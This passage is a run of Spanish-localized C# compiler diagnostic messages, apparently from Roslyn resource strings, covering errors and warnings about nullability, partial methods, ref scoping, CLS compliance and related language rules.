ningún significado cuando se aplica a parámetros + La nulabilidad de las restricciones del parámetro de tipo no coincide con las restricciones del parámetro de tipo del método de interfaz implementado de forma implícita + El primer operando de un operador "as" no puede ser un literal de tupla sin un tipo natural. + Clase de instrumentación no válida: {0} + operadores definidos por el usuario comprobados + No se puede declarar un espacio de nombres en el código del script + Una variable interna pública o protegida debe ser de un tipo conforme a Common Language Specification (CLS). + Las declaraciones parciales de '{0}' tienen modificadores de accesibilidad que entran en conflicto + El tipo '{3}' no se puede usar como parámetro de tipo '{2}' en el tipo o método genérico '{0}'. El tipo que acepta valores NULL '{3}' no cumple la restricción de '{1}'. + No se puede interceptar un operador nameof. + Posible comparación de referencias involuntaria. El lado de la mano derecha necesita conversión + No se puede escribir en el archivo de salida '{0}': '{1}' + Se esperaba la palabra clave 'this' o 'base' + El valor de EnumeratorCancellationAttribute no surtirá efecto. El atributo solo es efectivo en un parámetro de tipo CancellationToken en un método iterador asincrónico que devuelve IAsyncEnumerable + La nulabilidad de los tipos de referencia del tipo de valor devuelto de "{0}" no coincide con el miembro "{1}" implementado de forma implícita (posiblemente debido a los atributos de nulabilidad). + El resultado de la expresión siempre es el mismo ya que un valor de este tipo siempre es igual a "null" + acceso al elemento de puntero + "{0}" no invalida la propiedad esperada de "{1}". + No se puede usar 'yield' en el código de script de nivel superior + El método asincrónico carece de operadores "await" y se ejecutará de forma sincrónica + El tipo predefinido está definido en varios ensamblajes en el alias global + El nombre "_" hace referencia al tipo "{0}", no al patrón de descarte. Use "@_" para el tipo o "var _" para el descarte. + Las enumeraciones, las clases y las estructuras no se pueden declarar en una interfaz que tenga un parámetro de tipo "in" o "out". + '{0}': un argumento de atributo no puede usar parámetros de tipo + Se esperaba un operador sobrecargable + No se puede asignar a los campos del campo estático de solo lectura '{0}' (excepto en un constructor estático o un inicializador de variable) + La expresión de filtro es una constante "true" + No se especificaron archivos de código fuente. + '{0}' tiene una firma incorrecta para ser un punto de entrada + No puede haber cláusulas catch después de la cláusula catch general de una instrucción try + El método parcial "{0}" debe tener modificadores de accesibilidad porque tiene un modificador "virtual", "override", "sealed", "new" o "extern". + Las conversiones de controlador de cadenas interpoladas que hacen referencia a la instancia que se está indizando no se puede usar en inicializadores de miembros de indizador. + Falta un argumento + No se puede convertir una expresión lambda en un árbol de expresión cuyo argumento de tipo '{0}' no sea un tipo delegado + Esta referencia asigna un valor que solo puede escapar del método actual mediante una instrucción "return". + valor devuelto + La operación en cuestión no está definida en punteros void + El delegado '{0}' no tiene método 'invoke' o tiene un método 'invoke' con un tipo de valor devuelto o unos tipos de parámetro que no son compatibles. + No se puede crear un tipo genérico construido a partir de otro tipo genérico construido. + El campo '{0}' se lee antes de asignarse explícitamente, lo que provoca una asignación implícita anterior de 'default'. + nombre de operador + No se puede adquirir la dirección, obtener el tamaño ni declarar un puntero a un tipo administrado ('{0}') + La funcionalidad '{0}' no forma parte de la especificación de idioma C# ISO normalizado y puede que otros compiladores no la admitan + El atributo '{0}' indicado en un archivo de origen entra en conflicto con la opción '{1}'. + No se puede especificar el atributo CLSCompliant en un módulo que sea distinto del atributo CLSCompliant del ensamblado + operador de cambios relajado + El parámetro {0} no se debe declarar con la palabra clave '{1}' + ' {0} ' tiene un atributo ' UnmanagedCallersOnly ' y no se puede convertir en un tipo de delegado. Obtenga un puntero de función a este método. + No se puede usar await en el cuerpo de una cláusula finally + Un método interceptor debe ser un método de miembro común. + Es necesario asignar el parámetro '{0}' out antes de que el control abandone el método actual + Los registros solo pueden heredar de un objeto u otro registro + Un objeto, una cadena o un tipo de clase esperados + Un árbol de expresión no puede contener una expresión with. + El metadato netmodule vinculado debe proporcionar una imagen PE completa: '{0}'. + Uso del parámetro out sin asignar '{0}' + No se recomienda definir un alias con el nombre 'global' + "{0}": un argumento de tipo de atributo no puede usar parámetros de tipo + Literales de cadena UTF-8 + /platform:anycpu32bitpreferred solamente se puede usar con /t:exe, /t:winexe y /t:appcontainerexe + El método "{0}" carece de una anotación "[DoesNotReturn]" que coincida con un miembro implementado o invalidado. + Un campo ref solo se puede declarar en una estructura ref. + '{0}': una clase con el atributo ComImport no puede especificar ninguna clase base + Como '{1}' tiene el atributo ComImport, '{0}' debe ser externo o abstracto + La interpolación debe terminar con el mismo número de corchetes de cierre que el número de caracteres \"$\" con los que comenzó el literal de cadena sin formato. + variable fixed + Conflicto de nombre en el nombre {0} + Una cláusula catch previa ya detecta todas las excepciones de este tipo o de tipo superior ('{0}') + Uso del campo '{0}' posiblemente sin asignar + No se pueden proporcionar tanto los cuerpos de bloque como los cuerpos de expresión. + System.Void no se puede usar en C#; use typeof(void) para obtener el objeto de tipo void + El modo de documentación proporcionado no se admite o no es válido: "{0}". + El operador '{0}' es ambiguo en un operando del tipo '{1}' + La nulabilidad de los tipos de referencia en el tipo de valor devuelto no coincide con el miembro reemplazado. + No se tiene en cuenta el nombre de elemento de tupla porque el destino de la asignación ha especificado otro nombre o no ha especificado ninguno. + El ensamblado al que se hace referencia no tiene un nombre seguro + Un método parcial no puede implementar explícitamente un método de interfaz + El modificador "scoped" del parámetro no coincide con el destino. + expresión lambda + No se puede usar '{0}' para el método Main porque se ha importado + El parámetro de un operador unario debe ser el tipo contenedor + El campo '{0}' debe estar totalmente asignado antes de que el control se devuelva al autor de la llamada. Considere la posibilidad de actualizar a la versión de idioma "{1}" para establecer automáticamente el valor predeterminado del campo. + El mejor método Add sobrecargado '{0}' para el elemento inicializador de la colección está obsoleto. {1} + La longitud de la constante de cadena resultante de la concatenación supera el valor System.Int32.MaxValue. Pruebe a dividir la cadena en varias constantes. + Debe especificar el atributo CLSCompliant en el ensamblado, no en el módulo, para habilitar la comprobación de conformidad con CLS + El ensamblado '{0}' al que se hace referencia no tiene un nombre seguro. + espacio de nombres + La llamada es ambigua entre los métodos o las propiedades siguientes: '{0}' y '{1}' + La expresión switch no controla algunas entradas null (no es exhaustiva). Por ejemplo, el patrón "{0}" no está incluido. + La constante de punto flotante está fuera del intervalo del tipo '{0}' + El delimitador literal de cadena sin formato debe estar en su propia línea. + No se puede leer la información de depuración del método "{0}" (token 0x{1:X8}) desde el ensamblado "{2}". + 'UnmanagedCallersOnly' solo se puede aplicar a métodos estáticos ordinarios no abstractos, no virtuales o funciones locales estáticas. + No se puede crear un puntero de función para "{0}" porque no es un método estático. + Opción no válida "{0}" para /nullable; debe ser "deshabilitar", ·"habilitar", "advertencias" o "anotaciones" + No se puede emitir información de depuración para un texto de origen sin descodificar. + El modificador 'scoped' del parámetro '{0}' no coincide con el miembro invalidado o implementado. + Opción '{0}' no válida; la visibilidad de los recursos debe ser 'public' o 'private' + Se especifica un valor predeterminado para el parámetro "ref readonly" '{0}', pero "ref readonly" solo se debe usar para referencias. Considere la posibilidad de declarar el parámetro como 'in'. + Usar el resultado en este contexto puede exponer variables a las que el parámetro hace referencia fuera de su ámbito de declaración + No se puede usar el operador aquí debido a la prioridad. + El miembro de registro "{0}" debe ser público. + No use "{0}". Está reservado para uso del compilador. + No se puede restaurar la advertencia porque se ha deshabilitado globalmente + El parámetro se captura en el estado del tipo envolvente y su valor también se usa para inicializar un campo, propiedad o evento. + __arglist no se permite en la lista de parámetros de iteradores + "{0}" no implementa el miembro de interfaz "{1}". La nulabilidad de los tipos de referencia de la interfaz que implementa el tipo base no coincide. + No se puede convertir el elemento {0} asincrónico en el tipo delegado '{1}'. Un elemento {0} asincrónico puede devolver void, Task o Task<T>, ninguno de los cuales se puede convertir en '{1}'. + Usar la variable "{0}" en este contexto puede exponer variables a las que se hace referencia fuera de su ámbito de declaración + Atributo '{0}' duplicado + El tipo "{0}" no se puede incrustar porque tiene un miembro no abstracto. Puede establecer la propiedad "Incrustar tipos de interoperabilidad" en false. + El tipo de delegado no se puede deducir. + No se puede usar el tipo local de archivo "{0}" porque la ruta de acceso del archivo contenedor no se puede convertir en la representación de bytes UTF-8 equivalente. {1} + Se esperaba una etiqueta final para el elemento '{0}'. + separador de dígito inicial + Los argumentos de tipo no están permitidos en el nombre del operador. + El tipo o el nombre del espacio de nombres '{0}' no existe en el espacio de nombres '{1}' (¿falta alguna referencia de ensamblado?) + '{0}': no se pueden proporcionar argumentos al crear una instancia de un tipo variable + Error al leer los recursos de Win32: {0} + No se encuentra el nombre de tipo '{0}' en el espacio de nombres global. Este tipo se ha reenviado al ensamblado '{1}'. Puede agregar una referencia a ese ensamblado. + No se puede devolver una expresión de tipo 'void' + Un parámetro ref o out no puede tener un valor predeterminado + No se encontró el nombre del tipo '{0}'. Este tipo se ha reenviado al ensamblado '{1}'. Puede agregar una referencia a ese ensamblado. + Los iteradores no pueden tener variables locales por referencia. + Ambas declaraciones de método parcial deben tener combinaciones idénticas de los modificadores "virtual", "override", "sealed" y "new". + No se puede especificar un valor predeterminado para el parámetro 'this' + La expresión dada nunca es del tipo proporcionado ('{0}') + El comentario XML tiene una etiqueta typeparam, pero no hay ningún parámetro de tipo con ese nombre + Ambas declaraciones de métodos parciales deben ser no seguras o ninguna de ellas puede ser no segura + asignación de incorporación + Se ha marcado al tipo de base para que no tenga que ser conforme a Common Language Specification (CLS) en un ensamblador que se ha marcado como conforme a CLS. Elimine el atributo que especifica que el ensamblador es conforme a CLS o elimine el atributo que indica que el tipo no es conforme a CLS. + La expresión dada coincide siempre con la constante proporcionada. + Un método con vararg no puede ser genérico, estar en un tipo genérico ni tener un parámetro params + "await" requiere que el tipo "{0}" tenga un método "GetAwaiter" adecuado. ¿Falta una directiva "using" para "System"? + Se esperaba ; o = (no se pueden especificar argumentos de constructor en la declaración) + Usar un miembro del resultado en este contexto puede exponer variables a las que el parámetro hace referencia fuera de su ámbito de declaración + La invocación del indizador de rangos implícito no puede nombrar el argumento. + con estrcutras + El argumento no se puede usar para el parámetro debido a las diferencias en la nulabilidad de los tipos de referencia. + El tipo de valor devuelto del operador True o False debe ser bool + Este constructor debe agregar 'SetsRequiredMembers' porque se encadena a un constructor que tiene ese atributo. + La restricción no puede ser la clase especial '{0}' + "{0}": el entorno de ejecución de destino no admite los tipos de valores devueltos de covariante en las invalidaciones. El tipo de valor devuelto debe ser "{2}" para que coincida con el miembro "{1}" invalidado. + El modificador 'scoped' del parámetro '{0}' no coincide con el miembro invalidado o implementado. + El tipo '{0}' reenviado al ensamblado '{1}' entra en conflicto con el tipo '{2}' reenviado al ensamblado '{3}'. + El argumento debe ser una variable porque se pasa a un parámetro 'ref readonly' + Los valores predeterminados no son válidos en este contexto. + Un campo de referencia no puede hacer referencia a una estructura de referencia. + El tipo local de archivo '{0}' no se puede usar como tipo base del tipo no local del archivo '{1}'. + El delegado '{0}' no tiene un parámetro denominado '{1}' + La convención de llamada "managed" no se puede combinar con especificadores de convención de llamada no administrados. + La comparación de los punteros de función puede proporcionar resultados inesperados, ya que los punteros a la misma función pueden ser distintos. + '{0}' no es conforme a CLS porque la interfaz base '{1}' no lo es + A la interfaz de origen '{0}' le falta el método '{1}', que es necesario para incrustar el evento '{2}'. + El parámetro del constructor de atributo '{0}' es opcional, pero no se especificó ningún valor de parámetro predeterminado. + Una expresión lambda de árbol de expresión no puede contener un operador de propagación NULL. + Alias '{0}' no encontrado + Inicialización del miembro '{0}' duplicada + La propiedad del contrato de igualdad de registros "{0}" debe tener un descriptor de acceso get. + Opción '{0}' no válida para /debug; debe ser 'portable', 'embedded', 'full' o 'pdbonly' + Solo se puede adquirir la dirección de una expresión de tipo unfixed de un inicializador de instrucción "fixed" + Para usar "@$" en lugar de "$@" para una cadena textual interpolada, use la versión "{0}" del lenguaje o una posterior. + "{0}": una clase con el atributo ComImport no puede especificar inicializadores de campo. + El método parcial "{0}" debe tener modificadores de accesibilidad porque tiene parámetros "out". + '{0}': no se pueden declarar indizadores en una clase estática + El atributo CallerArgumentExpressionAttribute no tendrá efecto porque se aplica a un miembro que se utiliza en contextos que no permiten argumentos opcionales + '{0}' ya aparece en la lista de interfaces + patrón de constante de puntero nulo + '{0}': la propiedad o el indizador deben tener, al menos, un descriptor de acceso + Las variables con tipo implícito no pueden ser constantes + Se declaró una variable con el mismo nombre que una variable de un tipo base. Sin embargo, no se usó la palabra clave new. Esta advertencia le informa de que debería usar new. La variable se declaró como si new se hubiera usado en la declaración. + Incoherencia de accesibilidad: el tipo de valor devuelto '{1}' es menos accesible que el método '{0}' + Los campos de instancia de las estructuras readonly deben ser readonly. + No se puede asignar referencia "{1}" a "{0}" porque "{1}" tiene un ámbito de escape más limitado que "{0}". + El operador '{0}' no se puede aplicar a operandos de tipo '{1}' y '{2}' que no sean representaciones de bytes UTF-8 + Use Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal para crear tokens literales de carácter. + Un árbol de expresión no puede contener un patrón System.Index o un acceso a indizador System.Range. + El uso de matrices como argumentos de atributo no es conforme a CLS + Uso del parámetro out sin asignar + No se permite omitir el argumento de tipo en el contexto actual + El valor de alineación {0} tiene una magnitud superior a {1} y puede dar lugar a una cadena con formato grande. + Una función local estática no puede contener una referencia a "this" o "base". + El parámetro no está leído. + Un árbol de expresión puede no contener una conversión de cadena UTF-8 o un literal. + declaración de variable out + Un parámetro ref readonly no puede tener el atributo Out. + La comparación con la constante integral no es válida; la constante está fuera del intervalo del tipo '{0}' + 'experimental' + El tipo "{0}" del ensamblado "{1}" no se puede usar en los distintos límites de ensamblado porque tiene un argumento de tipo genérico que es un tipo de interoperabilidad incrustado. + El valor constante puede desbordarse en tiempo de ejecución (use la sintaxis "unchecked" para invalidar) + parámetros opcionales lambda + constructores de estructuras sin parámetros + El parámetro de un operador unario debe ser el tipo contenedor o su parámetro de tipo restringido a él. + La función local "{0}" se declara pero nunca se usa. + El operador as se debe usar con un tipo de referencia o un tipo que acepte valores NULL ('{0}' es un tipo de valor que no acepta valores NULL) + El objeto {0} abstracto "{1}" no se puede marcar como virtual. + '{0}': las clases estáticas no pueden contener operadores definidos por el usuario + La etiqueta '{0}' oculta otra etiqueta del mismo nombre en un ámbito contenido + El miembro "{1}" invalida "{0}". Hay varios candidatos de invalidación en tiempo de ejecución. El método que se llamará depende de la implementación. Use un tiempo de ejecución más reciente. + Los métodos anónimos, las expresiones lambda, las expresiones de consulta y las funciones locales dentro de un miembro de instancia de un struct no pueden tener acceso al parámetro del constructor principal + Se esperaba un descriptor de acceso get o set + No use 'System.ParamArrayAttribute'. Use la palabra clave 'params' en su lugar. + Nuevo miembro protegido declarado en el tipo sellado + El tipo reenviado '{0}' entra en conflicto con el tipo declarado en el módulo primario de este ensamblado. + Los dos ensamblajes difieren en el número de versión y/o compilación. Para que haya unificación, debe especificar directivas en el archivo .config de la aplicación y debe proveer el nombre seguro correcto de un ensamblaje. + El constructor '{0}' no puede llamarse a sí mismo a través de otro constructor + El archivo '{0}' al que se hace referencia no es un ensamblado + El operador binario sobrecargado '{0}' toma dos parámetros + o el patrón + La función local "{0}" debe ser "static" para poder usar el atributo Conditional. + El atributo Conditional no es válido en '{0}' porque es un método de reemplazo + La variable local '{0}' o sus miembros no pueden ceder su dirección para usarse en un método anónimo o una expresión lambda + Se espera SearchCriteria. + Las interfaces no pueden incluir constructores de instancia + Como '{0}' devuelve void, una palabra clave return no debe ir seguida de una expresión de objeto + Un operador definido por el usuario no puede convertir un tipo en sí mismo + No se puede continuar porque la edición incluye una referencia a un tipo incrustado: '{0}'. + Como esta llamada no es 'awaited', la ejecución del método actual continuará antes de que se complete la llamada. Puede aplicar el operador 'await' al resultado de la llamada. + Llame a System.IDisposable.Dispose() en la instancia asignada de {0} antes de que todas las referencias a él estén fuera de ámbito. + La instancia asignada de {0} no se desecha en todas las rutas de acceso de excepciones. Llame a System.IDisposable.Dispose() antes de que todas las referencias a él estén fuera de ámbito. + El nodo de sintaxis que se va a especular no puede pertenecer a un árbol de sintaxis de la compilación actual. + El atributo de seguridad '{0}' tiene un valor '{1}' de SecurityAction no válido + No se puede asignar un parámetro de constructor principal de un tipo de solo lectura (excepto en el establecedor de solo inicialización del tipo o un inicializador de variable) + Una función local estática no puede contener una referencia a "{0}". + Para convertir un valor negativo, el valor debe ir entre paréntesis + El nombre local '{0}' es demasiado largo para PDB. Puede acortar o compilar sin /debug. + Se esperaba una definición, una instrucción o un fin de archivo + El modificador de clase de referencia del parámetro '{0}' no coincide con el parámetro correspondiente '{1}' en el miembro invalidado o implementado. + Una variable de deconstrucción no se puede declarar como ref local + Dado que no se esperaba esta llamada, la ejecución del método actual continuará antes de que se complete la llamada + Una cláusula using debe preceder al resto de elementos definidos en el espacio de nombres, excepto las declaraciones de alias externos + El argumento {0} debe ser una variable porque se pasa a un parámetro 'ref readonly' + El operador 'await' solo se puede usar dentro de un método asincrónico. Puede marcar este método con el modificador 'async' y cambiar su tipo de valor devuelto a 'Task<{0}>'. + El miembro estático "{0}" no se puede marcar como "readonly". + Un búfer fijo solo puede tener una dimensión. + UnscopedRefAttribute no se puede aplicar a parámetros que tienen un modificador 'scoped'. + Conversión unboxing a un valor posiblemente NULL. + El resultado de la expresión siempre es '{0}' porque un valor del tipo '{1}' nunca es igual a 'NULL' de tipo '{2}' + variable + La nulabilidad de los tipos de referencia en el valor de tipo "{0}" no coincide con el tipo de destino "{1}". + No se puede usar el alias '{0}' con '::' porque el alias hace referencia a un tipo. Use '.'. + Se encontró un marcador de conflicto de fusión mediante combinación + La referencia de ensamblado de confianza '{0}' no es válida. Las declaraciones InternalsVisibleTo no pueden tener especificada una versión, una referencia cultural, un token de clave pública ni una arquitectura de procesador. + No se puede devolver por referencia un parámetro "{0}" a través de un parámetro ref; solo se puede devolver en una instrucción "return" + El programa que usa instrucciones de nivel superior debe ser un ejecutable. + Esto devuelve por referencia un miembro de la variable local, pero no es una variable local de tipo ref + Literal de carácter vacío + Las restricciones "class", "struct", "unmanaged", "notnull" y "default" no se pueden combinar ni duplicar y se deben especificar en primer lugar en la lista de restricciones. + '{0}' no se puede agregar a este ensamblado porque ya es un ensamblado + No se encontró el mejor tipo para la expresión switch. + No se admite la firma pública para netmodules. + "{0}" ya se muestra en la lista de interfaces en el tipo "{2}" como "{1}". + La parte izquierda de una asignación de referencias debe ser una variable local. + El campo o la propiedad no pueden ser del tipo '{0}' + No se permiten nombres de elementos de tupla en el lado izquierdo de una deconstrucción. + Una expresión lambda de árbol de expresión no puede contener un grupo de métodos + Se esperaba "enable", "disable" o "restore". + No se puede usar el tipo "{0}?" que acepta valores NULL en una expresión as; use en su lugar el tipo "{0}" subyacente. + No se puede enlazar el delegado con '{0}' porque es un miembro de 'System.Nullable<T>' + método + Las declaraciones parciales de '{0}' deben tener los mismos nombres de parámetros de tipo en el mismo orden + __arglist no puede tener un argumento que se ha pasado con "in" o "out" + El/los carácter/caracteres '{0}' no se puede/n usar en esta ubicación. + El operador 'await' solo se puede usar dentro de un {0} asincrónico. Puede marcar este {0} con el modificador 'async'. + El primer parámetro de un método de extensión "ref" "{0}" debe ser un tipo de valor o un tipo genérico restringido a struct. + Referencia no coincidente entre "{0}" y el puntero de función "{1}" + No se puede usar "{0}" como modificador de una convención de llamada. + No se puede encadenar el modelo semántico especulativo. Tiene que crear un modelo especulativo desde el modelo principal no especulativo. + El programa tiene más de un punto de entrada definido. Compile con /main para especificar el tipo que contiene el punto de entrada. + métodos parciales extendidos + La característica "{0}" no está disponible en C# 8.0. Use la versión {1} del lenguaje o una posterior. + La característica "{0}" no está disponible en C# 7.2. Use la versión {1} del lenguaje o una posterior. + La característica "{0}" no está disponible en C# 7.3. Use la versión {1} del lenguaje o una posterior. + La característica "{0}" no está disponible en C# 7.1. Use la versión de lenguaje {1} u otra superior. + Usar la variable en este contexto puede exponer variables a las que se hace referencia fuera de su ámbito de declaración + Cadena interpolada esperada + No se puede incluir el fragmento de código XML '{1}' del archivo '{0}': {2} + El operador de conversión de matriz en línea no se usará para la conversión desde la expresión del tipo declarativo. + El tipo '{0}' exportado del módulo '{1}' entra en conflicto con el tipo '{2}' exportado del módulo '{3}'. + No se admite una constante de cadena 'null' como patrón para '{0}'. Use una cadena vacía en su lugar. + Un punto de entrada no puede ser genérico ni estar en un tipo genérico + "{0}" no tiene un método "Main" estático adecuado. + El control se devuelve al autor de la llamada antes de que el campo '{0}' se asigne explícitamente, lo que provoca una asignación implícita anterior de 'default'. + Un patrón de deconstrucción de un solo elemento requiere más sintaxis para la desambiguación. Se recomienda agregar un designador de descarte "_" después del paréntesis de cierre ")". + El nombre completo de '{0}' es demasiado largo para la información de depuración. Compile sin la opción '/debug'. + Los campos de una estructura deben estar totalmente asignados en un constructor antes de devolver el control al llamador. Considere la posibilidad de actualizar la versión de idioma al valor predeterminado automático del campo. + Los parámetros opcionales deben aparecer después de todos los parámetros necesarios + La advertencia está remplazando a un error + No existe ninguna referencia a esta etiqueta + La variable '{0}' se ha declarado pero nunca se usa + El uso de {1} de tipo genérico '{0}' requiere argumentos de tipo {2} + El método "UnmanagedCallersOnly" "{0}" no puede implementar el miembro de interfaz "{1}" en el tipo "{2}" + Se esperaba la directiva #endif + Una instrucción goto no puede saltar a una ubicación después de una declaración using. + El método actual llama a un método asincrónico que devuelve una tarea o un Task<TResult>, y no aplica el operador Await al resultado. La llamada al método asincrónico inicia una tarea asincrónica. Sin embargo, debido a que no se aplica ningún operador Await, el programa continúa sin esperar a que finalice la tarea. En la mayoría de los casos, este comportamiento no es el esperado. Generalmente, otros aspectos del método de llamada dependen de los resultados de la llamada. O bien, se espera como mínimo que el método al que se llama se complete antes de volver al método que contiene la llamada. + +Un problema de igual importancia es el que se genera con las excepciones que se producen en el método asincrónico al que se llama. Las excepciones que se producen en un método que devuelve una tarea o un Task<TResult> se almacenan en la tarea devuelta. Si no espera por la tarea o no realiza una comprobación explícita de excepciones, la excepción se pierde. Si espera por la tarea, su excepción se vuelve a producir. + +Como procedimiento recomendado, siempre debe esperar por la llamada. + +Considere la posibilidad de suprimir la advertencia solo si tiene la seguridad de que no desea esperar a que la llamada asincrónica se complete y que el método al que se llama no producirá excepciones. En ese caso, puede suprimir la advertencia asignando el resultado de la tarea de la llamada a una variable. + expresión de consulta + El miembro de registro "{0}" debe estar protegido. + Valor no válido para el argumento del atributo '{0}' + El ensamblado válido no puede tener un módulo específico de procesador '{0}'. + Los especificadores de formato no pueden contener espacios en blanco al final. + UnscopedRefAttribute no se puede aplicar a este parámetro porque no tiene ámbito de forma predeterminada. + El tipo "{0}" no se puede usar como tipo de destino de new(). + Los argumentos de InterpolatedStringHandlerArgumentAttribute no pueden hacer referencia al parámetro en el que se usa el atributo. + La variable está asignada pero nunca se usa su valor + Un descriptor de acceso add o remove debe tener un cuerpo + 'La implementación del método explícito '{0}' no puede implementar '{1}' porque es un descriptor de acceso + El miembro implementa el miembro de la interfaz con varias coincidencias en el tiempo de ejecución + El comentario XML tiene una etiqueta param duplicada para '{0}' + El nombre de enumerador '{0}' está reservado y no se puede usar + Una expresión lambda de árbol de expresión no puede contener un inicializador de diccionarios. + El literal de cadena sin formato interpolado no comienza con suficientes caracteres \"$\" para permitir tantos corchetes de cierre consecutivos como contenido. + El método 'Slice' de la matriz insertada no se usará para la expresión de acceso de elementos. + El miembro '{0}' no oculta un miembro accesible. La palabra clave new no es necesaria. + Las especificaciones de argumento con nombre deben aparecer después de haber especificado todos los argumentos fijos en una invocación dinámica. + '{0}': los tipos estáticos no se pueden usar como parámetros + Un número que se aprobó en la directiva de preprocesador de advertencia #pragma no es un número de advertencia válido. Verifique que ese número representa una advertencia y no un error. + await en bloques catch y finally + La nulabilidad de los tipos de referencia del tipo de valor devuelto no coincide con el delegado de destino (posiblemente debido a los atributos de nulabilidad). + '{0}': un punto de entrada no puede ser genérico ni estar en un tipo genérico + '{0}' no implementa el miembro de interfaz '{1}' + '{0}' no contiene una definición para '{1}' y la mejor sobrecarga del método de extensión '{2}' requiere un receptor del tipo '{3}' + #r solo se puede usar en scripts + No se puede pasar un argumento con tipo dinámico a función local genérica "{0}" con argumentos de tipo inferido. + La posición final de la directiva #line debe ser mayor o igual que la posición inicial + Ya hay un árbol de sintaxis + El parámetro del constructor principal está sombreado por un miembro de la base + La propiedad implementada automáticamente '{0}' debe estar totalmente asignada antes de que el control se devuelva al autor de la llamada. Considere la posibilidad de actualizar a la versión de idioma "{1}" para establecer automáticamente el valor predeterminado de la propiedad. + Uso del campo posiblemente sin asignar. Considere la posibilidad de actualizar la versión de idioma para establecer automáticamente el valor predeterminado del campo. + Desreferencia de una referencia posiblemente NULL. + Nombre de archivo salida no válido: {0} + Una clase con el atributo ComImport no puede tener un constructor definido por el usuario + El nombre del método CollectionBuilderAttribute no es válido. + La expresión return debe ser de tipo '{0}' porque este método devuelve datos por referencia. + Los miembros del parámetro de constructor principal '{0}' de un tipo de solo lectura no se pueden usar como valor ref o out (excepto en el establecedor de solo inicialización del tipo o un inicializador de variable) + Las propiedades implementadas automáticamente deben tener descriptores de acceso get. + El identificador '{0}' no es conforme a CLS + El tipo de valor devuelto para el operador ++ o -- debe coincidir con el tipo de parámetro, o bien debe derivarse del tipo de parámetro, o ser el parámetro de tipo del tipo contenedor restringido a él, a menos que el tipo de parámetro sea un parámetro de tipo diferente. + El operador de conversión de matriz en línea no se usará para la conversión desde la expresión del tipo declarativo. + Error al leer información de depuración de '{0}' + Un árbol de expresión no puede contener un valor de estructura ref ni el tipo restringido “{0}”. + Las clases estáticas no pueden contener destructores + El parámetro "{0}" es un argumento de la conversión del controlador de cadena interpolada en el parámetro "{1}", pero el argumento correspondiente se especifica después de la expresión de cadena interpolada. Reordene los argumentos para mover "{0}" antes de "{1}". + La expresión dada siempre es del tipo proporcionado ('{0}') + Las referencias de archivo de origen no son compatibles. + El modificador de clase de referencia del parámetro no coincide con el parámetro correspondiente en el miembro oculto. + '{0}': los tipos estáticos no se pueden usar como tipos de valores devueltos + No hay ningún orden definido entre campos en varias declaraciones de estructura parcial '{0}'. Para especificar un orden, todos los campos de instancia deben estar en la misma declaración. + Incoherencia de accesibilidad: el tipo de valor devuelto de indizador '{1}' es menos accesible que el indizador '{0}' + El campo no conforme a CLS no puede ser volátil + No se admiten líneas nuevas dentro de una cadena interpolada no textual en C# {0}. Utilice la versión de idioma {1} o superior. + Incoherencia de accesibilidad: el tipo de parámetro '{1}' es menos accesible que el método '{0}' + el árbol debe tener un nodo raíz con SyntaxKind.CompilationUnit + Solo las expresiones de asignación, llamada, incremento, decremento, espera y objeto nuevo se pueden usar como instrucción + El CallerFilePathAttribute aplicado al parámetro '{0}' no tendrá efecto porque se aplica a un miembro que se usa en contextos que no permiten argumentos opcionales + params no es válido en este contexto + Una expresión lambda de árbol de expresión no puede contener un parámetro ref, in ni out + El tipo local de archivo '{0}' no se puede usar en una directiva 'global using static'. + No se puede inicializar el tipo '{0}' con un inicializador de colección porque no implementa 'System.Collections.IEnumerable' + No se permite la coincidencia de patrones para tipos de puntero. + Una expresión de tipo "{0}" siempre coincide con el patrón proporcionado. + La característica "{0}" se encuentra actualmente en vista previa y *no se admite*. Para usar características en vista previa, utilice la versión de idioma "vista previa". + El primer operando de un operador de desplazamiento sobrecargado debe tener el mismo tipo que el tipo contenedor + inicializador de propiedad automático + Error al leer el recurso '{0}': '{1}' + Se esperaba una directiva de preprocesador + El primer operando de un operador de desplazamiento sobrecargado debe tener el mismo tipo que el tipo contenedor o su parámetro de tipo restringido + 'await' no se puede usar en una expresión que contenga el tipo '{0}' + No se pueden especificar modificadores de accesibilidad para ambos descriptores de acceso de la propiedad o del indizador '{0}' + Las declaraciones de método parcial tienen diferencias de signatura. + El método inicializador de módulos "{0}" no debe ser genérico y no debe estar incluido en un tipo genérico. + Los nombres de elemento de tupla deben ser únicos. + El nombre de idioma no es válido + '{0}': no se puede llamar explícitamente al operador ni al descriptor de acceso + '{0}' no puede ser externo y tener un inicializador de constructor + Un tipo que acepta valores NULL puede ser nulo. + Las propiedades implementadas automáticamente no pueden devolver datos por referencia. + Los literales de cadena sin formato de varias líneas solo se permiten en las cadenas interpoladas textuales. + Falta el espacio en blanco necesario. + Falta la referencia al netmodule '{0}'. + Uso del campo posiblemente sin asignar '{0}'. Considere la posibilidad de actualizar a la versión de idioma "{1}" para establecer automáticamente el valor predeterminado del campo. + "{0}" define "Equals" pero no "GetHashCode" + La operación ha provocado un desbordamiento de pila. + variable de iteración foreach + '{0}': no se puede invalidar; '{1}' no es un evento + 'Elemento TypeForwardedToAttribute duplicado en '{0}' + Los búferes de tamaño fijo deben tener una longitud mayor que cero + 'await' no se puede usar como identificador dentro de un método asincrónico o expresión lambda + El valor constante '{0}' no se puede convertir en '{1}' (use la sintaxis 'unchecked' para invalidar) + El identificador no es conforme a CLS + inicializador de diccionarios + Error interno en el compilador de C#. + El CallerArgumentExpressionAttribute aplicado al parámetro "{0}" no tendrá efecto. Lo invalida el CallerLineNumberAttribute. + Devuelve un parámetro por referencia, pero tiene como ámbito el método actual + El parámetro "{0}" debe tener un valor que no sea NULL al salir porque el parámetro "{1}" no es NULL. + cadenas interpoladas + No todas las rutas de acceso de código devuelven un valor en {0} de tipo '{1}' + Posible comparación de referencias involuntaria: El lado de la mano izquierda necesita conversión + No se encontró ningún constructor de copia accesible en el tipo de base "{0}". + El miembro posicional '{0}' que se corresponde con este parámetro está oculto. + No se pudo resolver la ruta de acceso de archivo '{0}' especificada para el argumento con nombre '{1}' del atributo PermissionSet + Número no válido + El ensamblado '{0}' al que se hace referencia tiene una configuración de referencia cultural distinta de '{1}'. + Referencia ambigua en el atributo cref + El primer parámetro de un método de extensión no puede ser del tipo '{0}' + referencias readonly + '{0}' es {1}, que no es válida en el contexto indicado + El método sobrecargado '{0}' que solo se diferencia en out o ref, o en el rango de matriz, no es conforme a CLS + El tipo de parámetro 'void' no es válido + No se permiten restricciones en declaraciones no genéricas + El comentario XML tiene un atributo cref sintácticamente incorrecto + métodos anónimos + La anotación para tipos de 